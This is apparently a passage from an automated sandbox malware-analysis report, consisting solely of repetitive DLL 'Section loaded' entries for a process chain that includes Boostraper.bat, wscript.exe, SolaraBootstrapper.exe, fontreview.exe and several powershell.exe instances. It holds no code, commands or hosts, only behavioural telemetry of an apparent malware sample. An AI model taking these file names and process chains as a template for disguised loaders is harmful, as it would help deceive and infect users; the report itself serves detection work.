Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Media\fontreview.exe	Section loaded: mscoree.dll
Source: C:\Media\fontreview.exe	Section loaded: apphelp.dll
Source: C:\Media\fontreview.exe	Section loaded: kernel.appcore.dll
Source: C:\Media\fontreview.exe	Section loaded: version.dll
Source: C:\Media\fontreview.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Media\fontreview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Media\fontreview.exe	Section loaded: uxtheme.dll
Source: C:\Media\fontreview.exe	Section loaded: windows.storage.dll
Source: C:\Media\fontreview.exe	Section loaded: wldp.dll
Source: C:\Media\fontreview.exe	Section loaded: profapi.dll
Source: C:\Media\fontreview.exe	Section loaded: cryptsp.dll
Source: C:\Media\fontreview.exe	Section loaded: rsaenh.dll
Source: C:\Media\fontreview.exe	Section loaded: cryptbase.dll
Source: C:\Media\fontreview.exe	Section loaded: sspicli.dll
Source: C:\Media\fontreview.exe	Section loaded: amsi.dll
Source: C:\Media\fontreview.exe	Section loaded: userenv.dll
Source: C:\Media\fontreview.exe	Section loaded: wbemcomn.dll
Source: C:\Media\fontreview.exe	Section loaded: rasapi32.dll
Source: C:\Media\fontreview.exe	Section loaded: rasman.dll
Source: C:\Media\fontreview.exe	Section loaded: rtutils.dll
Source: C:\Media\fontreview.exe	Section loaded: mswsock.dll
Source: C:\Media\fontreview.exe	Section loaded: winhttp.dll
Source: C:\Media\fontreview.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Media\fontreview.exe	Section loaded: iphlpapi.dll
Source: C:\Media\fontreview.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Media\fontreview.exe	Section loaded: dhcpcsvc.dll
Source: C:\Media\fontreview.exe	Section loaded: dnsapi.dll
Source: C:\Media\fontreview.exe	Section loaded: winnsi.dll
Source: C:\Media\fontreview.exe	Section loaded: rasadhlp.dll
Source: C:\Media\fontreview.exe	Section loaded: fwpuclnt.dll
Source: C:\Media\fontreview.exe	Section loaded: ntmarta.dll
Source: C:\Media\fontreview.exe	Section loaded: propsys.dll
Source: C:\Media\fontreview.exe	Section loaded: dlnashext.dll
Source: C:\Media\fontreview.exe	Section loaded: wpdshext.dll
Source: C:\Media\fontreview.exe	Section loaded: edputil.dll
Source: C:\Media\fontreview.exe	Section loaded: urlmon.dll
Source: C:\Media\fontreview.exe	Section loaded: iertutil.dll
Source: C:\Media\fontreview.exe	Section loaded: srvcli.dll
Source: C:\Media\fontreview.exe	Section loaded: netutils.dll
Source: C:\Media\fontreview.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Media\fontreview.exe	Section loaded: wintypes.dll
Source: C:\Media\fontreview.exe	Section loaded: appresolver.dll
Source: C:\Media\fontreview.exe	Section loaded: bcp47langs.dll
Source: C:\Media\fontreview.exe	Section loaded: slc.dll
Source: C:\Media\fontreview.exe	Section loaded: sppc.dll
Source: C:\Media\fontreview.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Media\fontreview.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
